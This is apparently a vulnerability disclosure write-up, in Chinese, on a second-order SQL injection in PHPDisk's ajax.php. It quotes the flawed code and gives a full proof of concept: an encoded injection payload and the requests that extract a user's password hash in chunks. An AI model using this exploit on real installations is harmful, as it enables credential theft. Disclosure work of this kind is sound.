### 简要描述:
发现二次注入比较明显,由于不报错,加上注入点位置比较奇葩,利用起来颇费周折
~可能是技术不过关没有想到更好的利用办法了~
### 详细说明:
二次注入是在ajax.php中发生的
主要流程是uploadcloud时在写入的内容,在save_as时被读取,但是没有进行过滤,造成了二次注入
来具体看看代码,首先是uploadcloud
```
case 'uploadCloud':
$folder_id = (int)gpc('folder_id','P',0);
$folder_id = $folder_id ? $folder_id : -1;
$data = trim(gpc('data','P',''));
$is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1;
if($settings['all_file_share']){
$in_share = 1;
}else{
$in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'");
}
if($data){
$file_key = random(8);
if(strpos($data,',')!==false){
$add_sql = $msg = '';
$arr = explode(',',$data);
for($i=0;$i<count($arr)-1;$i++){
$file = unserialize(base64_decode($arr[$i]));
$file[file_id] = (int)$file[file_id];
$file[file_size] = (int)$file[file_size];
$file[file_description] = $db->escape(trim($file[file_description]));
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg .= $file[file_name].$tmp_ext.',';
}else{
$add_sql .= "({$file[file_id]},'{$file[file_name]}','$file_key','{$file[file_extension]}','application/octet-stream','{$file[file_description]}','{$file[file_size]}','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),";
}
}
if($add_sql){
$add_sql = is_utf8() ? $add_sql : convert_str('utf-8','gbk',$add_sql);
$add_sql = substr($add_sql,0,-1);
$db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;");
}
}
```
虽然data使用base64加密,并且serialize,但是重新读入的时候都做了escape处理,确保了该函数不会有注入
继续看下save_as
```
case 'save_as':
$file_id = (int)gpc('file_id','G',0);
if($pd_uid){
$rs = $db->fetch_one_array("select * from {$tpf}files where file_id='$file_id' limit 1");
if($rs){
$has_file = @$db->result_first("select count(*) from {$tpf}files where file_name='{$rs[file_name]}' and file_extension='{$rs[file_extension]}' and file_size='{$rs[file_size]}' and userid='$pd_uid' limit 1"); //注入点1
if(($rs['userid'] ==$pd_uid) || $has_file){
$rtn ='ufile';
}else{
$ins = array(
'file_name' => '[转]'.$rs['file_name'],
'file_key' => random(8),
'file_extension' => $rs['file_extension'],
'is_image' => $rs['is_image'],
'file_mime' => $rs['file_mime'],
'file_description' => $rs['file_description'],
'file_store_path' => $rs['file_store_path'],
'file_real_name' => $rs['file_real_name'],
'file_md5' => $rs['file_md5'],
'server_oid' => $rs['server_oid'],
'file_size' => $rs['file_size'],
'file_time' => $timestamp,
'in_share' => 1,
'is_checked' => $rs['is_checked'],
'userid' => $pd_uid,
'ip' => get_ip(),
);
$db->query_unbuffered("insert into {$tpf}files set ".$db->sql_array($ins).""); //注入点2
$rtn = 'true';
}
}
unset($rs);
}else{
$rtn = 'false';
}
echo $rtn;
break;
```
其中有两个注入点,都是因为对rs的数据没有过滤造成的
由于这套系统没有显示mysql错误,因此注入点1的select查询只能进行盲注,这样的话需要次数比较多,比较麻烦,所以考虑通过注入点2的insert进行注入,看能否直接爆出数据
这个时候就出现了问题,要让语句先通过第一个select语句不报错才能进入注入点2
看了一下,注入点1中只用了3个参数name,size,extension,还有一个description是我们可控的参数,那么如果我们通过description进行注入,就能成功通过注入点1到达注入点2
先调用uploadcloud,在description中写入单引号,然后换一个帐号(一定要换个帐号!)调用save_as,调出调试信息看一下语句,像是这样
[<img src="https://images.seebug.org/upload/201408/0217152297d62da46501f82abd2623645b7750b7.jpg" alt="QQ截图20140802171532.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217152297d62da46501f82abd2623645b7750b7.jpg)
可以发现二次注入确实存在,但是注入点的位置很尴尬,能在页面中显示的name字段在注入点之前,其他能显示的字段就剩下description本身
那么想在name处直接爆信息是不可能了,description已经有了一个单引号,导致
```
update set description = (select xxx)
```
这样的方式也不可能了
首先想到了一个解决方案,用类似盲注的方法,看图
[<img src="https://images.seebug.org/upload/201408/0217222194e9fce1073e54e4d816c601b79e22d3.jpg" alt="QQ截图20140802172339.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217222194e9fce1073e54e4d816c601b79e22d3.jpg)
通过这种方式,将password每一位都爆在description处,直接查看,总共需要32次,比盲注好了不少,不过还是不够给力
所以又想到了方案2,还是看图
[<img src="https://images.seebug.org/upload/201408/02172627f64b33a83754c522fde7f03ba1468ef7.jpg" alt="QQ截图20140802172753.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02172627f64b33a83754c522fde7f03ba1468ef7.jpg)
用hex的方式,可以爆多位内容了,离成功更近了一步,不过尝试爆password的时候,问题出现了
[<img src="https://images.seebug.org/upload/201408/021727590bb0674577be38343ac593dc38ee5aba.jpg" alt="QQ截图20140802172925.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/021727590bb0674577be38343ac593dc38ee5aba.jpg)
由于password是md5,应该是32位,而hex后应该是64位,果断太长了
最终折中的方案是,32位的password通过分段来爆,每次最多爆7位,这样最少只要5次就解决了
[<img src="https://images.seebug.org/upload/201408/02173203551448bf291327a28ce30ff65e82baaf.jpg" alt="QQ截图20140802173326.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02173203551448bf291327a28ce30ff65e82baaf.jpg)
水平有限,只能这样了~
### 漏洞证明:
以爆前password的前7位来证明,首先登陆帐号A,进行uploadcloud的操作
```
<?php
$file[file_description] = "0'+substr(hex((SELECT password from pd_users limit 0,1)),1,14)+'0";
$file[file_name] = "1";
$file[file_size] = "1";
$file[file_extension] = "1";
echo base64_encode(serialize($file));
?>
```
通过代码,得到data的值为YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ==
```
http://localhost/phpdisk-f/ajax.php?action=uploadCloud
post:folder_id=2&data=YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ==,
```
folder_id是已创建的文件夹id
[<img src="https://images.seebug.org/upload/201408/0217405947959750ae5df2a803998282a4ff76d4.jpg" alt="QQ截图20140802174223.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217405947959750ae5df2a803998282a4ff76d4.jpg)
看下文件已经创建了,并且文件id为7(看链接就知道)
[<img src="https://images.seebug.org/upload/201408/021742165122b01405b96fb8aa60f21eb1fd0fe8.jpg" alt="QQ截图20140802174343.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/021742165122b01405b96fb8aa60f21eb1fd0fe8.jpg)
```
切换到帐号B,访问http://localhost/phpdisk-f/ajax.php?action=save_as&file_id=7
```
看下文件管理,成功爆出数据了
[<img src="https://images.seebug.org/upload/201408/02174559001abceaf11db28a255ba18fd0c3b139.jpg" alt="QQ截图20140802174708.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02174559001abceaf11db28a255ba18fd0c3b139.jpg)
暂无评论